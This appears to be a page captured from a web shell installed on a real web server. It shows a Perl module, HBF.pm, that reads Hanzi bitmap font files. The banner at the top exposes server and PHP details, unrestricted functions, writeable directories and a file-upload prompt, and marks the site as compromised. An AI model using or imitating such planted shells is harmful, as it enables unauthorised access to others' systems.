KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/mandarintools/download/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/mandarintools/download/HBF.pm
package HBF;
require Exporter;

use subs qw(loadFont getChar);

BEGIN {  }

sub new {
    return bless {};
}

sub loadFont {
    my($self) = shift;

    my $fontname = shift;
    if ($fontname !~ /\.hbf/i) {
	$fontname .= ".hbf";
    }
    if (-e $fontname) {
	# $fontname works as is 
      $self->{'LOADPATH'} = ".";
    } else {
	if (defined($ENV{'HBFPATH'})) {
	    my $splitchar;
	    if ($ENV{'HBFPATH'} =~ m/\//) {
		$splitchar = ":";
	    } else {
		$splitchar = ";";
	    }
	    @hbfpaths = split(/$splitchar/, $ENV{'HBFPATH'});
	    foreach $hbfpath (@hbfpaths) {
		if (-e $hbfpath . "/" . $fontname) {
		    $fontname = $hbfpath . "/" . $fontname;
		    $self->{'LOADPATH'} = $hbfpath;
		    $foundhbf = 1;
		    last;
		} 
	    }
	    if ($foundhbf != 1) {
	      print STDERR "Unable to open HBF file $fontname.\n";
	      return 0;
	    }
	} else {
	    print STDERR "Unable to open HBF file $fontname.\n";
	    return 0;
	}
    }

    $self->{'fontname'} = $fontname;
    open(FD, $fontname);

    while (<FD>) {
      chomp;
      if (m/^HBF_START_FONT/) {
	my($desc, $format) = split(/\s+/, $_, 2);
	$self->{'HBF_START_FONT'} = $format;
      } elsif (m/^HBF_CODE_SCHEME/) {
	my($desc, $format) = split(/\s+/, $_, 2);
	$self->{'HBF_CODE_SCHEME'} = $format;
      } elsif (m/^FONT/) {
	my($desc, $format) = split(/\s+/, $_, 2);
	$self->{'FONT'} = $format;
      } elsif (m/^SIZE/) {
	my($desc, $format) = split(/\s+/, $_, 2);
	$self->{'SIZE'} = $format;
      } elsif (m/^HBF_BITMAP_BOUNDING_BOX/) {
	my($desc, $format) = split(/\s+/, $_, 2);
	$self->{'HBF_BITMAP_BOUNDING_BOX'} = $format;
	($self->{'width'}, $self->{'height'}, $self->{'xd'}, $self->{'yd'}) = 
	    split(/\s+/, $format);
	$self->{'bytes'} = $self->{'height'} * int(($self->{'width'} + 7) / 8)
      } elsif (m/^FONTBOUDINGBOX/) {
	my($desc, $format) = split(/\s+/, $_, 2);
	$self->{'FONTBOUNDINGBOX'} = $format;
      } elsif (m/^STARTPROPERTIES/) {
	my($desc, $total) = split(/\s+/, $_, 2);
	my($line);
	for ($i = 0; $i < $total and $desc ne "ENDPROPERTIES"; $i++) {
	  chomp($line = <FD>);
	  ($desc, $format) = split(/\s+/, $line, 2);
	  if ($desc eq "COMMENT") 
	    { 
	      $i--; 
	    } 
	  else 
	    {
	      $self->{"$desc"} = $format;
	    }
	}
      } elsif (m/^CHARS/) {
	my($desc, $format) = split(/\s+/, $_, 2);
	$self->{'CHARS'} = $format;
      } elsif (m/^HBF_START_BYTE_2_RANGES/) {
	my($desc, $total) = split(/\s+/, $_, 2);
	$self->{'HBF_BYTE_2_RANGES'} = $total;
	$self->{'HBF_BYTE_2_RANGE'} = [];
	my($line);
	for ($i = 0; $i < $total and $desc ne 'HBF_END_BYTE_2_RANGES'; $i++) {
	  chomp($line = <FD>);
	  my($desc, $content) = split(/\s+/, $line, 2);
	  my($start, $end) = split(/\-/, $content);
	  ${$self->{'HBF_BYTE_2_RANGE'}}[$i][0] = $start;
 	  ${$self->{'HBF_BYTE_2_RANGE'}}[$i][1] = $end;
	  $self->{'chars_per_level'} += 1 + oct($end) - oct($start);
	}
      } elsif (m/^HBF_START_CODE_RANGES/) {
	my($desc, $total) = split(/\s+/, $_, 2);
	$self->{'HBF_CODE_RANGES'} = $total;
	$self->{'HBF_CODE_RANGE'} = [];
	my($line);
	for ($i = 0; $i < $total and $desc ne 'HBF_END_CODE_RANGES'; $i++) {
	  chomp($line = <FD>);
	  if ($line =~ m/^COMMENT/) { $i--; next; }
	  my($desc, $content) = split(/\s+/, $line, 2);
	  my($start, $end, $srcfile, $offset) = split(/\-|\s+/, $content);
	  ${$self->{'HBF_CODE_RANGE'}}[$i][0] = $start;
 	  ${$self->{'HBF_CODE_RANGE'}}[$i][1] = $end;
 	  ${$self->{'HBF_CODE_RANGE'}}[$i][2] = $srcfile;
 	  ${$self->{'HBF_CODE_RANGE'}}[$i][3] = $offset;
	}
      }    
    }

    $self->{'CACHE'} = {};
    return 1;
}


# Look up $char in HBF file and return the bitmap for it, if available
sub getChar {
    my($self, $char) = @_;
    my($hexval, $i, $offset);
    my($byte1, $byte2, $byte3) = ("", "", "");
    if (length($char) == 1) {
      $byte1 = substr($char, 0, 1);
      $byte1val = vec($byte1, 0, 8);
      $hexval = vec($char, 0, 8);
    } elsif (length($char) == 2) {
      $byte1 = substr($char, 0, 1);
      $byte1val = vec($byte1, 0, 8);
      $byte2 = substr($char, 1, 1);
      $byte2val = vec($byte2, 0, 8);
      $hexval = vec($char, 0, 16);
    } elsif (length($char) == 3) {
      $byte1 = substr($char, 0, 1);
      $byte1val = vec($byte1, 0, 8);
      $byte2 = substr($char, 1, 1);
      $byte2val = vec($byte2, 0, 8);
      $byte3 = substr($char, 2, 1);
      $byte3val = vec($byte3, 0, 8);
      $hexval = vec($char, 0, 24);
    }

    if (defined(${$self->{'CACHE'}}{$char})) {
       return unpack("B*", ${$self->{'CACHE'}}{$char});
    }

    for ($i = 0; $i < $self->{'HBF_CODE_RANGES'}; $i++) {
      #print ${$self->{'HBF_CODE_RANGE'}}[$i][3], "\n";
      if ($hexval >= oct(${$self->{'HBF_CODE_RANGE'}}[$i][0]) and
	$hexval <= oct(${$self->{'HBF_CODE_RANGE'}}[$i][1])) 
      {
	open(FONT, $self->{'LOADPATH'} . "/" . ${$self->{'HBF_CODE_RANGE'}}[$i][2]) or
	  die $self->{'LOADPATH'} . "/" . ${$self->{'HBF_CODE_RANGE'}}[$i][2];
	binmode(FONT);
	$offset = ${$self->{'HBF_CODE_RANGE'}}[$i][3];
        # print "Initial offset $offset\n";
        my $offsetchars = 0;
        $srangebyte1 = substr(${$self->{'HBF_CODE_RANGE'}}[$i][0], 2, 2);
        $srangebyte2 = substr(${$self->{'HBF_CODE_RANGE'}}[$i][0], 4, 2);
        $srangebyte1val = oct("0x" . $srangebyte1);
	$srangebyte2val = oct("0x" . $srangebyte2);
        $erangebyte1 = substr(${$self->{'HBF_CODE_RANGE'}}[$i][1], 2, 2);
        $erangebyte2 = substr(${$self->{'HBF_CODE_RANGE'}}[$i][1], 4, 2);
        $erangebyte1val = oct("0x" . $erangebyte1);
	$erangebyte2val = oct("0x" . $erangebyte2);
	my $byte2base = 0;

	# printf("%x\t%x\t%x\t%x\n", $srangebyte1val, $byte1val, $srangebyte2val, $byte2val);

        if ($srangebyte1val == $byte1val) {
	  if ($srangebyte2val == $byte2val) {
	    # Character is first in code range
	    seek(FONT, $offset, 0);
	    read(FONT, $returnval, $self->{'bytes'});
	  } else {
	    for ($j = 0; $j < $self->{'HBF_BYTE_2_RANGES'}; $j++) {
	      if ($srangebyte2val >= oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][0]) and
		  $srangebyte2val <= oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][1])) 
		{
		  if ($byte2val >= oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][0]) and
		      $byte2val <= oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][1])) 
		    {
		      $offset += ($byte2val - $srangebyte2val) * $self->{'bytes'};
		      last;
		    }
		  else 
		    {
		      $offset += (oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][1]) - 
			  $srangebyte2val) * $self->{'bytes'};
		      for ($j++; $j < $self->{'HBF_BYTE_2_RANGES'}; $j++) {
			if ($byte2val >= oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][0]) and
			    $byte2val <= oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][1])) 
			  {
			    $offset += (1 + $byte2val - oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][0])) *
			      $self->{'bytes'};
			    last;
			  }
			else {
			    $offset += (oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][1]) - 
			      oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][0])) * 
				$self->{'bytes'};
			}
			
		      }
		    }
		} 
	    }
	    seek(FONT, $offset, 0);
	    read(FONT, $returnval, $self->{'bytes'});

	  } 
	} else {  # Byte 1 of character greater than byte one of range start
	  # Find no. of characters from srangebyte2 to next byte1
	    for ($j = 0; $j < $self->{'HBF_BYTE_2_RANGES'}; $j++) {
	      if ($srangebyte2val >= oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][0]) and
		  $srangebyte2val <= oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][1])) 
		{
		  $offset += (1 + oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][1]) - $srangebyte2val) *
		    $self->{'bytes'};
		  for ($j++; $j < $self->{'HBF_BYTE_2_RANGES'}; $j++) {
		    $offset += (1 + oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][1]) - 
				oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][0])) * 
				  $self->{'bytes'};
		  }
		} 
	    }
	    # print "Offset after first byte2 $offset\n";

	    # Find no. of characters between byte1 ranges
	    $offset +=($byte1val - ($srangebyte1val + 1)) * $self->{'chars_per_level'} *
	      $self->{'bytes'};
	    # print "Offset after byte1 subtraction $offset\n";
	  
	    # Find no. of characters to byte2val
	    for ($j = 0; $j < $self->{'HBF_BYTE_2_RANGES'}; $j++) {
	      if ($byte2val >= oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][0]) and
		  $byte2val <= oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][1])) {
		$offset += ($byte2val - oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][0])) *
		  $self->{'bytes'};
		last;
	      } 
	      else {
		$offset += (1 + oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][1]) - 
			    oct(${$self->{'HBF_BYTE_2_RANGE'}}[$j][0])) * 
			      $self->{'bytes'};
	      }
	    }
	    # print "Final offset $offset\n";
	    
	    seek(FONT, $offset, 0);
	    read(FONT, $returnval, $self->{'bytes'});
	}
        last; 
    }
  }

    
    if ($returnval ne "") {
      ${$self->{'CACHE'}}{$char} = $returnval;
    }
    close FONT;
    # Return a string of ASCII 1's and 0's representing character
    # Done this way rather than use vec to access data to avoid
    # byte ordering problems
    unpack("B*", $returnval);
    
}


END { }



1;

Anon7 - 2021